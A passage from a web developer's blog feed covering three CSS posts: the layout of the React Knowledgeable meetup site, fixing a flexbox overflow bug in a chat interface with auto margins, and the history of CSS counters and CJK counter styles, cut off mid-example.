  &lt;figcaption&gt;Ask me for some when if you see me around&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/rk/stickers-480.jpg 480w, /images/posts/rk/stickers-640.jpg 640w, /images/posts/rk/stickers-960.jpg 960w, /images/posts/rk/stickers-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/rk/stickers-640.jpg&quot; alt=&quot;Box of stickers, free for taking&quot;&gt;
&lt;/figure&gt;
&lt;h2&gt;Site layout&lt;/h2&gt;
&lt;p&gt;The React Knowledgeable website is built with Gatsby, and is &lt;a href=&quot;https://github.com/react-knowledgeable/rk-community-site&quot;&gt;completely open source on GitHub&lt;/a&gt;, so anyone can contribute. Like I mentioned, I&apos;m just the CSS monkey here. So let&apos;s talk about the CSS.&lt;/p&gt;
&lt;p&gt;As of today (18 November 2019), the site&apos;s layout has been modified a couple of times as content has been added, and additional features were introduced. The site was originally prototyped on Glitch before it got ported over to Gatsby, but I&apos;ve kept the &lt;a href=&quot;https://glitch.com/~react-knowledgeable&quot;&gt;Glitch prototype&lt;/a&gt; updated, sort of like an archive of the site&apos;s evolution.&lt;/p&gt;
&lt;p&gt;The layout morphs quite a bit over different viewport widths because these breakpoints are not arbitrary values. Instead, they are based on content and how best to present all the content within the dimensions of available space.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/rk/layout-480.png 480w, /images/posts/rk/layout-640.png 640w, /images/posts/rk/layout-960.png 960w, /images/posts/rk/layout-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/rk/layout-640.png&quot; alt=&quot;Different site layouts for different viewport sizes&quot;&gt;
&lt;p&gt;For all those people who immediately complain about scalability and component reuse and what-not, I say, this is as hipster an endeavour as you will ever find on the web. It&apos;s hand-crafted CSS. So you can take your Bootstrap defined components and breakpoints and shove it up your…&lt;/p&gt;
&lt;p&gt;Anyway, a lot of Grid and Flexbox in play here, but not exclusively, because the “old-school” display modes also come in handy for certain components at particular viewport sizes as well. I never understood why people only want to use a single method or technique to do all the things. Why colour with 1 crayon when you can use the whole box?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.homePageLayout {
  @media (min-width: 1145px) {
    display: grid;
    grid-template-columns: auto minmax(20em, 30%);
    grid-template-rows: min-content min-content 1fr auto;
    main {
      grid-column: 1;
      grid-row: 2 / span 2;
    }
    aside {
      grid-column: 2;
    }
  }
}

.upcomingMeetupInfo {
  @media (min-width: 748px) and (max-width: 1144px) {
    display: grid;
    grid-template-columns: 1fr auto;
    grid-column-gap: 0.5em;
    h2 {
      grid-column: 1 / -1;
    }
    h3 {
      word-break: break-word;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m pretty fond of the footer, because it changes the most across the different viewports. Plus, it has a little bit of whimsy sprinkled on. Hopefully not too much that people with vestibular disorders are turned off by it. So there is a &lt;code&gt;prefers-reduced-motion&lt;/code&gt; media query put in for that.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media (prefers-reduced-motion: reduce) {
  .friendLink:hover .friendIcon {
    transform: scale(1.2);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-conversation=&quot;none&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;i can play around with this for i dont know how long.. got friend of many talents &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; &lt;a href=&quot;https://t.co/rNB3iKA0nE&quot;&gt;pic.twitter.com/rNB3iKA0nE&lt;/a&gt;&lt;/p&gt;&amp;mdash; ᴡᴇɪ 👩🏻‍🌾🐒 (@wgao19) &lt;a href=&quot;https://twitter.com/wgao19/status/1151206737472475137?ref_src=twsrc%5Etfw&quot;&gt;July 16, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;The latest edition of the site introduced a new block of content for past talks, so we now have a multi-column implementation for that bit as well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.topicListing {
  column-width: 20em;
}
.topicCard {
  padding-bottom: 2rem;
  break-inside: avoid;
}
.topicIntro {
  display: -webkit-box;
  /* autoprefixer: off */
  -webkit-box-orient: vertical;
  /* autoprefixer: on */
  -webkit-line-clamp: 3;
  overflow: hidden;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;img srcset=&quot;/images/posts/rk/layout2-480.png 480w, /images/posts/rk/layout2-640.png 640w, /images/posts/rk/layout2-960.png 960w, /images/posts/rk/layout2-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/rk/layout2-640.png&quot; alt=&quot;Different site layouts for different viewport sizes&quot;&gt;
&lt;p&gt;Again, all the code is &lt;a href=&quot;https://github.com/react-knowledgeable/rk-community-site&quot;&gt;open-source on GitHub&lt;/a&gt;, or you can also take a peek at the &lt;a href=&quot;https://glitch.com/~react-knowledgeable&quot;&gt;Glitch project&lt;/a&gt; to see how it&apos;s done.&lt;/p&gt;
&lt;p&gt;The website is constantly being updated with new features, like a custom RSVP function (serendipitously similar to the &lt;a href=&quot;https://queerjs.com/&quot;&gt;QueerJS&lt;/a&gt; website, clearly great minds think alike) and a custom GitHub authentication function. Kudos to &lt;a href=&quot;https://twitter.com/th__chia&quot;&gt;Thomas Chia&lt;/a&gt; for working tirelessly on it. It&apos;s almost 2020 and websites are still cool, my friends.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;The premise behind this meetup is to have an inclusive and welcoming environment for people to share knowledge and things they find interesting, and I love that. I also love that Singapore has a support structure that allows a burgeoning new meetup to find its feet in almost no time at all.&lt;/p&gt;
&lt;p&gt;Anyway, if you’re ever in town when one is happening, just drop by and check it out. You won’t regret it. Also, follow &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt; on all the things (basically just &lt;a href=&quot;https://twitter.com/reknowledgeable&quot;&gt;Twitter&lt;/a&gt; and &lt;a href=&quot;https://github.com/react-knowledgeable/rk-community-site&quot;&gt;GitHub&lt;/a&gt; for now).&lt;/p&gt;
</content:encoded></item><item><title>Box alignment and overflow</title><link>https://chenhuijing.com/blog/box-alignment-and-overflow/</link><guid isPermaLink="true">https://chenhuijing.com/blog/box-alignment-and-overflow/</guid><description>Recently I was working on a few chat interfaces, and the general layout is typical to what you would see in most chat applications. There would be an input…</description><pubDate>Sat, 19 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently I was working on a few chat interfaces, and the general layout is typical to what you would see in most chat applications. There would be an input kissing the bottom of the window, with messages displayed in the chat window on either side depending on who said what.&lt;/p&gt;
&lt;p&gt;Usually your own messages would appear on the right, while received messages would appear on the left. Of course there are also some interfaces (Slack) which align all the messages on the left, but the ones I use regularly (Whatsapp, WeChat, Twitter) use the aforementioned left-right style.&lt;/p&gt;
&lt;p&gt;Such an interface is not tricky to build with Flexbox and the Box Alignment properties. But I did create a bug in the interface when using the box alignment properties for the messages area. TL:DR, the fix involves using auto margins instead of the &lt;code&gt;justify-content&lt;/code&gt; property. Intrigued? Read on.&lt;/p&gt;
&lt;h2&gt;CSS-ing the chat interface&lt;/h2&gt;
&lt;p&gt;First, I&apos;ll quickly give a broad overview of how a basic chat interface&apos;s CSS looks like. So the layout should look something like this:&lt;/p&gt;
&lt;img src=&quot;/images/posts/overflow/chat-ui.png&quot; srcset=&quot;/images/posts/overflow/chat-ui@2x.png 2x&quot; alt=&quot;Rough sketch of chat interface&quot;&gt;
&lt;p&gt;You would need a container for the entire chat window, divy-ed up into a header, a messages area and the input area right at the bottom. Within the messages area, individual messages would be their own element, laid out left and right.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;aside id=&amp;quot;chatWindow&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;header&amp;quot;&amp;gt;
    &amp;lt;h1&amp;gt;Live support&amp;lt;/h1&amp;gt;
    &amp;lt;button class=&amp;quot;btn-close&amp;quot; id=&amp;quot;closeChat&amp;quot;&amp;gt;
      &amp;lt;svg viewBox=&amp;quot;0 0 47.971 47.971&amp;quot;&amp;gt;
        &amp;lt;path
          fill=&amp;quot;white&amp;quot;
          d=&amp;quot;M28.228 23.986L47.092 5.122a2.998 2.998 0 000-4.242 2.998 2.998 0 00-4.242 0L23.986 19.744 5.121.88a2.998 2.998 0 00-4.242 0 2.998 2.998 0 000 4.242l18.865 18.864L.879 42.85a2.998 2.998 0 104.242 4.241l18.865-18.864L42.85 47.091c.586.586 1.354.879 2.121.879s1.535-.293 2.121-.879a2.998 2.998 0 000-4.242L28.228 23.986z&amp;quot;
        /&amp;gt;
      &amp;lt;/svg&amp;gt;
    &amp;lt;/button&amp;gt;
  &amp;lt;/div&amp;gt;

  &amp;lt;div id=&amp;quot;message-area&amp;quot; class=&amp;quot;messages&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;

  &amp;lt;div class=&amp;quot;controls&amp;quot;&amp;gt;
    &amp;lt;form id=&amp;quot;textentry&amp;quot;&amp;gt;
      &amp;lt;input id=&amp;quot;textbox&amp;quot; type=&amp;quot;text&amp;quot; /&amp;gt;
      &amp;lt;input id=&amp;quot;submit&amp;quot; type=&amp;quot;submit&amp;quot; value=&amp;quot;Send&amp;quot; /&amp;gt;
    &amp;lt;/form&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/aside&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this particular example, I&apos;ve used an &lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt; element as the chat window body, and applied a &lt;code&gt;display: flex&lt;/code&gt; on it. The entire chat window layout is pretty much going to be powered by Flexbox.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;aside {
  display: flex;
  flex-direction: column;
  height: 100vh;
}

.header {
  display: flex; /* Because I have a close button I want aligned with the title text */
  align-items: center;
  /* Visual styles not included here but they exist */
}

.messages {
  flex: 1; /* Allows the message area to expand with viewport height */
  display: flex;
  flex-direction: column;
  overflow-y: scroll;
}

.controls {
  /* Visual styles, not much layout */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;flex: 1&lt;/code&gt; on the message area while its parent (&lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt;) is a flex container with a flex direction of column means that the message area will grow to fill up additional space as viewport height increases, or vice versa.&lt;/p&gt;
&lt;p&gt;Use of a single positive integer as the &lt;code&gt;flex&lt;/code&gt; value on a flex item is making use of one of the flex keyword values.This keyword resolves to a &lt;code&gt;flex-grow&lt;/code&gt; value of whatever the positive integer was, a &lt;code&gt;flex-shrink&lt;/code&gt; value of &lt;code&gt;1&lt;/code&gt; and a &lt;code&gt;flex-basis&lt;/code&gt; of &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As for the chat bubbles within the message area, each role has their own class, e.g. &lt;code&gt;agent&lt;/code&gt; and &lt;code&gt;input&lt;/code&gt;. For the chat bubble that is supposed to be on the left, you don&apos;t really need to do anything, and for the chat bubble that is supposed to be on the right, add an &lt;code&gt;align-self: flex-end&lt;/code&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/overflow/left-right-480.png 480w, /images/posts/overflow/left-right-640.png 640w, /images/posts/overflow/left-right-960.png 960w, /images/posts/overflow/left-right-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/overflow/left-right-640.png&quot; alt=&quot;Your own message on the right, received messages on the left&quot;&gt;
&lt;h2&gt;The data loss issue&lt;/h2&gt;
&lt;p&gt;As more messages get exchanged, the total height of all the messages would exceed that of the message area hence we would like the message area to be scrollable.&lt;/p&gt;
&lt;p&gt;Initially, in order to have the chat messages start from the bottom of the message area, I had set a &lt;code&gt;justify-content: flex-end&lt;/code&gt; on the message area. This works well enough. At first.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.messages {
  flex: 1; /* Allows the message area to expand with viewport height */
  display: flex;
  flex-direction: column;
  overflow-y: scroll;
  justify-content: flex-end;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;img srcset=&quot;/images/posts/overflow/dataloss-480.png 480w, /images/posts/overflow/dataloss-640.png 640w, /images/posts/overflow/dataloss-960.png 960w, /images/posts/overflow/dataloss-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/overflow/dataloss-640.png&quot; alt=&quot;Using box alignment to send the message bubble to the bottom of the message area&quot;&gt;
&lt;p&gt;Unfortunately, once we get more messages than the message area can contain, we suffer a data loss issue. We are not able to scroll to the earliest messages.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/overflow/dataloss2-480.png 480w, /images/posts/overflow/dataloss2-640.png 640w, /images/posts/overflow/dataloss2-960.png 960w, /images/posts/overflow/dataloss2-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/overflow/dataloss2-640.png&quot; alt=&quot;Data loss when the messages overflow the message area&quot;&gt;
&lt;p&gt;If you peek into the specification for box alignment, there&apos;s this bit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When the alignment subject is larger than the alignment container, it will overflow. Some alignment modes, if honored in this situation, may cause data loss: for example, if the contents of a sidebar are centered, when they overflow they may &lt;strong&gt;send part of their boxes past the viewport’s start edge&lt;/strong&gt;, which can’t be scrolled to.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And if you look into the flexbox specification, there&apos;s also this bit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflowing boxes ignore their auto margins and overflow in the end direction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now if you use the &lt;em&gt;overflow alignment&lt;/em&gt; keyword of &lt;code&gt;safe&lt;/code&gt;, what the browser will do is change the alignment mode back to one that does &lt;strong&gt;not&lt;/strong&gt; result in data loss. And you can try this out in Firefox to see for yourself.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.messages {
  flex: 1; /* Allows the message area to expand with viewport height */
  display: flex;
  flex-direction: column;
  overflow-y: scroll;
  justify-content: safe flex-end;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;img srcset=&quot;/images/posts/overflow/safe-480.png 480w, /images/posts/overflow/safe-640.png 640w, /images/posts/overflow/safe-960.png 960w, /images/posts/overflow/safe-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/overflow/safe-640.png&quot; alt=&quot;Using the safe keyword with alignment properties&quot;&gt;
&lt;p&gt;But then the original intention of having the messages start at the bottom of the message area cannot be achieved. The browser has forced the alignment to &lt;code&gt;flex-start&lt;/code&gt; to prevent the data loss, so we&apos;re back to square one.&lt;/p&gt;
&lt;h2&gt;The auto-margins fix&lt;/h2&gt;
&lt;p&gt;The solution I came up with is, instead of setting a &lt;code&gt;justify-content: flex-end&lt;/code&gt; to align the messages to the bottom of the message area, I&apos;d set a &lt;code&gt;margin-top: auto&lt;/code&gt; on the first child of the messages area.&lt;/p&gt;
&lt;p&gt;If you peek at the Flexbox specification this time, you can find this bit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Prior to alignment via justify-content and align-self, any positive free space is distributed to auto margins in that dimension.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Regardless of how many message bubbles are in the message area, the top auto-margin on the first message bubble will push all the messages down to the bottom of the message area. And when there are many messages, you will still be able to scroll the message area.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Scrollable content&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/of-scroll.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/of-scroll.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;I&apos;ve ported a demo showing the difference between the 2 implementations in this CodePen if anyone is interested: &lt;a href=&quot;https://codepen.io/huijing/pen/zYYoZZP&quot;&gt;https://codepen.io/huijing/pen/zYYoZZP&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;References and reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-align-3/#overflow-values&quot;&gt;CSS Box Alignment Module Level 3&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-flexbox-1/#auto-margins&quot;&gt;CSS Flexible Box Layout Module Level 1&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.smashingmagazine.com/2019/09/overflow-data-loss-css/&quot;&gt;Overflow And Data Loss In CSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noti.st/rachelandrew/p5gKlm/making-things-better-redefining-the-technical-possibilities-of-css&quot;&gt;Making Things Better: Redefining the Technical Possibilities of CSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The wondrous world of CSS counters</title><link>https://chenhuijing.com/blog/the-wondrous-world-of-css-counters/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-wondrous-world-of-css-counters/</guid><description>The Chinese Layout Task Force works on the Requirements for Chinese Text Layout, and we have monthly calls to discuss issues and updates. One of the issues…</description><pubDate>Sun, 13 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://w3c.github.io/clreq/homepage/&quot;&gt;Chinese Layout Task Force&lt;/a&gt; works on the &lt;a href=&quot;https://w3c.github.io/clreq/&quot;&gt;Requirements for Chinese Text Layout&lt;/a&gt;, and we have monthly calls to discuss issues and updates. One of the issues (actually two) we talked about in the last call involved counter styles.&lt;/p&gt;
&lt;p&gt;The issues, titled &lt;a href=&quot;https://github.com/w3c/clreq/issues/228&quot;&gt;cjk-tally-mark and cjk-stem-branch counter styles&lt;/a&gt; and &lt;a href=&quot;https://github.com/w3c/clreq/issues/229&quot;&gt;Classification for &apos;cjk-earthly-branch&apos; and &apos;cjk-heavenly-stem&lt;/a&gt;, would probably seem weird and mystical for non-Chinese folks, so let&apos;s talk about them a bit.&lt;/p&gt;
&lt;h2&gt;Tally marks&lt;/h2&gt;
&lt;p&gt;There&apos;s mention of “CKJ tally marks” in the first issue. &lt;a href=&quot;https://en.wikipedia.org/wiki/Tally_marks&quot;&gt;Tally marks&lt;/a&gt; are a unary numeral system used for counting. I think once people see what they are, it&apos;ll be a relatively familiar sight so these are tally marks:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-counters/tally-480.jpg 480w, /images/posts/css-counters/tally-640.jpg 640w, /images/posts/css-counters/tally-960.jpg 960w, /images/posts/css-counters/tally-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-counters/tally-640.jpg&quot; alt=&quot;Tally marks in different regions&quot;&gt;
&lt;p&gt;Tally marks were added to &lt;a href=&quot;https://unicode.org/versions/Unicode11.0.0/&quot;&gt;Unicode Version 11.0&lt;/a&gt; in the Counting Rod Numerals block, whose range is 1D360–1D37F. If you want to use these marks for whatever purpose, there is an open-source OpenType-SVG font called &lt;a href=&quot;https://github.com/adobe-fonts/tally-marks/&quot;&gt;Tally Marks&lt;/a&gt; hosted on GitHub.&lt;/p&gt;
&lt;h2&gt;Heavenly stems, earthly branches&lt;/h2&gt;
&lt;p&gt;This is a literal translation of the Chinese terms 天干地支. The Heavenly Stems (天干) are a system of ordinal numbers, or words that represent a position in a sequence.&lt;/p&gt;
&lt;p&gt;For example, the words &lt;em&gt;first&lt;/em&gt;, &lt;em&gt;second&lt;/em&gt;, &lt;em&gt;third&lt;/em&gt; and so on are ordinal numbers. This system is pretty ancient, first appearing during the Shang dynasty (around 1250 BCE), and were used as names of the 10 days of the week.&lt;/p&gt;
&lt;p&gt;Modern day usage include choices on multiple choice examinations, school grades (in Taiwan), representative of the alphabetic counterparts of A, B, C, D through till J, as well as in the practice of Feng Shui and astrology. The characters are 甲、乙、丙、丁、戊、己、庚、辛、壬、癸。&lt;/p&gt;
&lt;p&gt;Earthly branches (地支) are also an ordering system but mostly used for dates, astrological traditions and zodiac. Ancient Chinese astronomers built the system based on observations of the orbit of Jupiter, which was approximately a 12-year cycle.&lt;/p&gt;
&lt;p&gt;12 is a fairly prominent number as there are 12 months in the year, 12 animals in the Chinese zodiac, Chinese double hours of a day (时辰) and so on.&lt;/p&gt;
&lt;p&gt;Today, they are used in the “traditional Chinese calendar”, combined with the Heavenly Stems for Feng Shui and astrology purposes, as well as make up the remaining letters after “J” as the Chinese counterpart to the English alphabet.&lt;/p&gt;
&lt;p&gt;The characters are 子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥。But wait, you might be thinking, what about the last 4 letters of the alphabet, W, X, Y and Z? They are represented by the following characters respectively instead, 物、天、地、人。&lt;/p&gt;
&lt;h2&gt;Some history on CSS counters&lt;/h2&gt;
&lt;p&gt;So what does all of this have to do with CSS counters? Let&apos;s first go back to when list items were first introduced in CSS. This was back in CSS1, where the specification defined basic counter &lt;code&gt;list-style-type&lt;/code&gt;s of &lt;code&gt;decimal&lt;/code&gt;, &lt;code&gt;lower-roman&lt;/code&gt;, &lt;code&gt;upper-roman&lt;/code&gt;, &lt;code&gt;lower-alpha&lt;/code&gt; and &lt;code&gt;upper-alpha&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;By the 24 March 1998, when CSS2 reached Proposed Recommendation status, the basic lists section had been moved into &lt;a href=&quot;https://www.w3.org/TR/CSS2/generate.html#generated-text&quot;&gt;12 Generated content, automatic numbering, and lists&lt;/a&gt;. This is the section that defines behaviour of user agents when rendering content that does not come from the document tree.&lt;/p&gt;
&lt;p&gt;According to CSS2.1, content may be generated either by the &lt;code&gt;content&lt;/code&gt; property when used with the &lt;code&gt;::before&lt;/code&gt; and &lt;code&gt;::after&lt;/code&gt; pseudo-elements, or by elements with the &lt;code&gt;display&lt;/code&gt; property value of &lt;code&gt;list-item&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Most of the time, we use strings with the &lt;code&gt;content&lt;/code&gt; property. But you could also use a &lt;code&gt;&amp;lt;counter&amp;gt;&lt;/code&gt; value, which can be specified by either the &lt;code&gt;counter()&lt;/code&gt; function or the &lt;code&gt;counters()&lt;/code&gt; function. Other potential values include quotes and attributes (for the subject of the selector only).&lt;/p&gt;
&lt;p&gt;Automatic numbering is controlled by two properties, &lt;code&gt;counter-increment&lt;/code&gt; and &lt;code&gt;counter-reset&lt;/code&gt;. The counters defined by these two properties will be used with the aforementioned &lt;code&gt;counter()&lt;/code&gt; or &lt;code&gt;counters()&lt;/code&gt; function of the &lt;code&gt;content&lt;/code&gt; property.&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;https://www.w3.org/TR/2003/WD-css3-content-20030514/&quot;&gt;14 May 2003&lt;/a&gt;, the entire section on generated content was split out into what was probably the first public Working Draft of the &lt;a href=&quot;https://www.w3.org/TR/css-content-3/&quot;&gt;CSS Generated Content Module Level 3&lt;/a&gt;. But even before that, CSS lists already had a working draft of its own.&lt;/p&gt;
&lt;p&gt;The first public version I could find was &lt;a href=&quot;https://www.w3.org/TR/2002/WD-css3-lists-20020220/&quot;&gt;CSS3 module: Lists&lt;/a&gt; published on 20 Feb 2002. This version included a much expanded set of international numbering systems, and was the first instance I could find of the cjk-heavenly-stem and cjk-earthly-branch values. It was clear this was a early draft because of this fun bit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A lot more detail is needed in the above lists, including modulus, more examples, etc. Some of the values are missing. This specification currently does not define how alphabetic systems wrap at the end of the alphabet. For instance, after 26 list items, &apos;lower-latin&apos; rendering is undefined. This should be changed. XXX&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Another relevant specification is the &lt;a href=&quot;https://www.w3.org/TR/css-counter-styles-3/&quot;&gt;CSS Counter Styles Level 3&lt;/a&gt;, which introduces the &lt;code&gt;@counter-style&lt;/code&gt; rule, allowing us to define our own custom counter styles for use with CSS list-marker and generated-content counters (defined in the lists specification).&lt;/p&gt;
&lt;p&gt;It also includes a list of predefined counter styles. And that&apos;s where the &lt;code&gt;cjk-heavenly-stem&lt;/code&gt; and &lt;code&gt;cjk-earthly-branch&lt;/code&gt; are currently sitting in. Personally, I find counter styles fascinating, as they make me think about how in spite of the different writing systems around the world, counting is universal.&lt;/p&gt;
&lt;p&gt;Both &lt;a href=&quot;https://www.w3.org/TR/css-content-3/&quot;&gt;CSS Generated Content Module Level 3&lt;/a&gt; and &lt;a href=&quot;https://www.w3.org/TR/css-lists-3/&quot;&gt;CSS Lists Module Level 3&lt;/a&gt; are still in Working Draft status and contain numerous entertaining (IMHO) comments, which you can go check out if you feel like it.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-counters/issue-480.jpg 480w, /images/posts/css-counters/issue-640.jpg 640w, /images/posts/css-counters/issue-960.jpg 960w, /images/posts/css-counters/issue-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-counters/issue-640.jpg&quot; alt=&quot;A rather snarky comment in the working draft of CSS lists&quot;&gt;
&lt;h2&gt;So about these CSS counters…&lt;/h2&gt;
&lt;p&gt;If you read the latest version of the lists specification, it defines a counter as a special numeric tracker used, among other things, to automatically number list items in CSS. Counters have a name and creator element.&lt;/p&gt;
&lt;p&gt;They are created and manipulated with the 3 counter properties of &lt;code&gt;counter-increment&lt;/code&gt;, &lt;code&gt;counter-set&lt;/code&gt; and &lt;code&gt;counter-reset&lt;/code&gt;, and used with the &lt;code&gt;counter()&lt;/code&gt; and &lt;code&gt;counters()&lt;/code&gt; functions.&lt;/p&gt;
&lt;p&gt;But this is from the working draft specification, so &lt;code&gt;counter-set&lt;/code&gt; is currently only supported by Firefox 68 onwards, as with the &lt;code&gt;::marker&lt;/code&gt; pseudo-element, so we&apos;ll talk about this later.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;counter-increment&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;counter-increment&lt;/code&gt; property takes in 1 or more names of counters, each of which can be optionally followed by an integer. This integer lets you control how much the counter gets incremented for every occurrence of the element. By default, the counter increments by 1 though 0 and negative integers are perfectly acceptable as well.&lt;/p&gt;
&lt;p&gt;Note that the keyword values of &lt;code&gt;none&lt;/code&gt;, &lt;code&gt;inherit&lt;/code&gt; and &lt;code&gt;initial&lt;/code&gt; are reserved and cannot be used as counter names.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;counter-reset&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;counter-reset&lt;/code&gt; property also has the same syntax, taking in 1 or more names of counters, each of which can be optionally followed by an integer. This integer, however, gives the value that the counter is set to on each occurrence of the element. The default is 0.&lt;/p&gt;
&lt;h3&gt;Using the counter properties&lt;/h3&gt;
&lt;p&gt;Although both the above counter properties can be applied to all elements, the values of counters (accessible when using the &lt;code&gt;counter()&lt;/code&gt; and &lt;code&gt;counters()&lt;/code&gt; functions) can only be referred to from the &lt;code&gt;content&lt;/code&gt; property, which is only applicable to the &lt;code&gt;::before&lt;/code&gt; and &lt;code&gt;::after&lt;/code&gt; pseudo-elements.&lt;/p&gt;
&lt;p&gt;Given some markup like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;nav&amp;gt;
  &amp;lt;h1&amp;gt;An important chapter&amp;lt;/h1&amp;gt;
  &amp;lt;p&amp;gt;I guess some broad overview goes here&amp;lt;/p&amp;gt;
  &amp;lt;h2&amp;gt;First section in the chapter&amp;lt;/h2&amp;gt;
  &amp;lt;p&amp;gt;I really don&apos;t know how these are formatted&amp;lt;/p&amp;gt;
  &amp;lt;h2&amp;gt;Second section in the chapter&amp;lt;/h2&amp;gt;
  &amp;lt;p&amp;gt;Why didn&apos;t I just use lorem ipsum?&amp;lt;/p&amp;gt;
  &amp;lt;h1&amp;gt;Another chapter&amp;lt;/h1&amp;gt;
  &amp;lt;p&amp;gt;Dammit, lorum ipsum was a much better idea&amp;lt;/p&amp;gt;
  &amp;lt;h2&amp;gt;First section in next chapter&amp;lt;/h2&amp;gt;
  &amp;lt;p&amp;gt;Screw it, we shall soldier on with filler text&amp;lt;/p&amp;gt;
&amp;lt;/nav&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And some CSS like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;nav {
  counter-reset: top-level;
}

h1:before {
  content: counter(top-level) &amp;quot;. &amp;quot;;
  counter-increment: top-level;
}

h1 {
  counter-reset: sub-level;
}

h2:before {
  content: counter(top-level) &amp;quot;.&amp;quot; counter(sub-level) &amp;quot; &amp;quot;;
  counter-increment: sub-level;
}
&lt;/code&gt;&lt;/pre&gt;
